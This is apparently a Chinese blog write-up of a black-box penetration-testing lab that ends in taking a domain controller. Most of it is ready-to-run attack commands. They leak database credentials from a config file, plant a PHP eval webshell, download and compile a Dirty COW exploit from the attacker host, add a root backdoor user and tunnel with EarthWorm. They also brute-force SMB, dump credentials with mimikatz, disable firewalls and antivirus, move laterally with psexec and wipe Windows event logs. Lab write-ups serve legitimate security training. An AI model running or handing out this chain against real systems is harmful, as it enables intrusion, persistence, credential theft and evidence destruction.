小编的文章仅学习使用,同时记录小编的学习笔记;如有错漏恳请大神指点,如遇问题可在评论区交流;切勿用于非法行为。
一、环境搭建
这次的环境为黑盒测试,不提供账号密码。目标为拿下域控 flag。
1. 网络搭建
2. 启动配置
service network restart 重启网络服务(web-centos)
二、信息收集
1. 扫描IP 与 端口
./fscan -h 192.168.2.0/24 // 全面扫描
发现含有134的地址,并且开启 80、3306、22端口
2. 扫描目录
a)dirsearch -u http://192.168.2.134 -x 403 // 指定扫描并排除403状态码
信息:administrator —> 登录数据后台 README.txt —> 开发文件
configuration.php~ —> 数据配置文件 robots.txt —> 目录索引
web.config.txt —> 配置文件
configuration.php
文件通常是与网站相关的配置文件,特别是在使用PHP语言开发的网站中。这个文件通常包含了网站的数据库连接信息、安全密钥、路径设置以及其他重要的配置信息。这个文件的安全性非常重要,因为其中可能包含对网站的敏感信息。在任何情况下,都应该确保这个文件不会被未经授权的访问者获取。
3. 数据分析
a)访问 view-source:http://192.168.2.134/configuration.php~ 文件的源代码
数据库账号/密码:testuser / cvcvgjASD!@,并且含有 文件路径
三、漏洞利用
根据收集来的信息,突破口为登录数据库 修改后台密码 或者 添加后门用户去登录后台,再利用webshell来连接进行信息收集并提权。
数据库
我们可以利用 Navicat Premium 连接数据库,该工具为图形化页面方便操作。我们的目标为修改数据库 administrator 的密码。
注:Joomla 后台密码为:md5 加密;e10adc3949ba59abbe56e057f20f883e(123456)
路径:joomla -> 表 ->am2zu_users -> password -> 保存
四、外网渗透
数据后台
连接数据库是我们发现它是有Joomla的开源CMS来搭建的网站,我们登录后台之后有利用Joomla远程命令执行来连接webshell(蚁剑)。
木马注入
访问 http://192.168.2.134/administrator/ 登录后台,账号/密码:administrator / 123456
注入路径:extensions -> templates -> templates -> beez3 -> index.php
木马代码:eval($_POST[123]);?>
连接蚁剑
蚁剑配置参数:URL -> http://192.168.2.134/templates/beez3/index.php
密码:123
五、内网信息收集
用户信息
我们发现这里含有一个后门用户,并且外网服务器开启了22端口,可以尝试利用 ssh 来远程控制。
/tmp/mysql/test.txt // 临时文件夹下含有一个后门用户
账号/密码:wwwuser/wwwuser_123Aqx
WindTerm 终端远程
我们成功登录但发现权限不足,查询内核版本来进行内核提权。
脏牛提权
"脏牛"(Dirty COW)是一个Linux系统中的漏洞,它允许攻击者通过提升特权来获取对系统的未经授权访问。脚本:dirty.c
适应范围:Linux内核 >= 2.6.22
信息
a)uname -a // 内核信息
b)ifconfig // 网络接口信息
查询网络信息,我们发现了 93 的IP地址就是 内网IP。
提权步骤
kali 开启临时服务 -> 目标机下载 dirty.c 脚本 -> 配置 脚本文件 -> 切换 firefart 用户
注:发现执行了 删除 passwd.bak 备份文件,防止冲突。
a)wget http://192.168.2.129/dirty.c /tmp // 前提要在 kali 开启:php -S 0:80 (临时服务)
b)chmod +x dirty.c // 给予 执行权限
c)rm -r passwd.bak // 删除 备份文件
d)gcc -pthread dirty.c -o dirty -lcrypt // 配置 链接POSIX线程库和crypt库
e)./dirty 123456 // 配置 密码
f)su firefart // 切换 用户
g)useradd -p `openssl passwd -1 -salt 'salt' 123456` admin -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld // 留个后门用户
如图:我们得出了一个拥有root权限的 firefart 用户。
fscan 内网信息收集
这边我们打进了外网服务器,这里我们利用 fscan 扫描工具来进行信息收集。
a)./fscan -h 192.168.93.0/24 // 全局扫描
总结一下:这里端口小编就不截图了。
1. 100和120这两个为服务器的IP地址,因为他们开启了80、3306端口。
2. 10、20、30为域内IP地址,10 为 域控也是我们此行的目标,其余的就是域成员。
3. 域内IP地址均含有 445 端口,可以尝试利用 ms17-010(永恒之蓝)漏洞。
六、搭建隧道
EarthWorm简称叫做EW,EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可以在复杂的网络环境下完成网络穿透。
反向连接
a)./ew_for_linux64 -s rcsocks -l 1234 -e 4567 // kali 操作
b)./ew_for_linux64 -s rssocks -d 192.168.2.129 -e 4567 & // 目标机 操作
b)vim /etc/proxychains.conf // 配置 代理
七、漏洞利用
1. ms17-010(永恒之蓝)失败
测试参数
这里我们利用 MSF(Metasploit)漏洞攻击工具,来进行渗透测试。这里我们尝试攻击是否能利用ms17-010(永恒之蓝)漏洞来攻击。
a)search ms17-010 // 搜寻 攻击模块
b)use auxiliary/scanner/smb/smb_ms17_010 // 选择 攻击模块
c)set rhosts 192.168.93.10 // 配置 目标IP
d)setg proxies socks5:127.0.0.1:1256 // 配置 全局代理
e)run // 运行 环境
注:以此类推,20 和 30的靶场。可惜三个靶机均都不能利用 ms17-010 漏洞来渗透。
2. 密码爆破
字典爆破:也是 SMB 尝试访问(不推荐爆破方法 时间久 没字典),还有一种破解方式:NTLM Relay 攻击 ,可惜 跑不起来(可以尝试)。
a)use auxiliary/scanner/smb/smb_login // 测试 登录
b)set PASS_FILE /root/top.txt // 字典
c)set SMBUser administrator // 测试 用户
d)set rhosts 192.168.93.20 // 测试 目标
e)run // 执行 环境
总结一下:20 和 30 的可以测试成功;唯独 10 的测试不通可能开启了防火墙。
账号 / 密码:administrator / 123qwe!ASD
3. 横向移动
当我们获取了目标的账号和密码,并且防火墙可能是关闭状态;可以尝试 psexec 来获取 Windows 远程控制权限。
a)use exploit/windows/smb/psexec // 远程控制 模块
b)set payload windows/x64/meterpreter/bind_tcp // 正向 载荷
c)set smbuser administrator // 用户
d)set smbpass 123qwe!ASD // 密码
e)set rhosts 192.168.93.20 // 目标 ip
f)run // 运行 环境
注:以此类推,30 的靶机也可以这样操作。
八、域信息收集
后渗透操作
a)netsh advfirewall set allprofiles state off // 关闭 防火墙
b)run post/windows/manage/enable_rdp // 开启 远程服务
c)run post/windows/manage/killav // 关闭 杀软
信息收集
域信息
a)run post/windows/gather/enum_domain // 域控
b)run post/windows/gather/enum_ad_computers // 域 成员
c)Net View // 列举局域网 计算机
d)sysinfo // 系统信息
总结一下:可以判断 该靶机与域控是同一个域内。
密码获取
这里我们利用 MSF 工具自带的 kiwi(mimikatz) 模块来获取信息。
a)load kiwi // 引用 kiwi 模块
b)creds_all // 列举 所有凭证
域控 账号/密码:administrator / zxcASDqw123!!
九、域控
思路:这里我们获取了域控的账号密码,并且win8跟域控是同一个域;我们可以跟域控建立一个 IPC$ 的共享(远程会话和进程间通信),来远程关闭防火墙再进行横向移动。
IPS$共享
a)Net use \\192.168.93.10\ipc$ zxcASDqw123!! /user:test\administrator // 建立 连接
b)dir \\192.168.93.10\c$ // 测试 连通性
c)Sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" // 创建 关闭 防火墙服务
d)Sc \\192.168.93.10 start unablefirewall // 启用 服务
横向移动(拿下域控)
紧接着上面环境继续配置,只需修改 密码 和 目标IP。
a)background // 返回后台
b)set smbpass zxcASDqw123!! // 配置 密码
c)set rhosts 192.168.93.10 // 目标 IP
d)run // 运行 环境
flag
flag 在C:\Users\Administrator\Documents 路径下
十、痕迹清除
a)shell wevtutil cl security // 清理安全日志
b)shell wevtutil cl system // 清理系统日志
c)shell wevtutil cl application // 清理应用程序日志
d)shell wevtutil cl "windows powershell" // 清除power shell日志
e)shell wevtutil cl Setup // 清除(cl)事件日志中的 "Setup" 事件。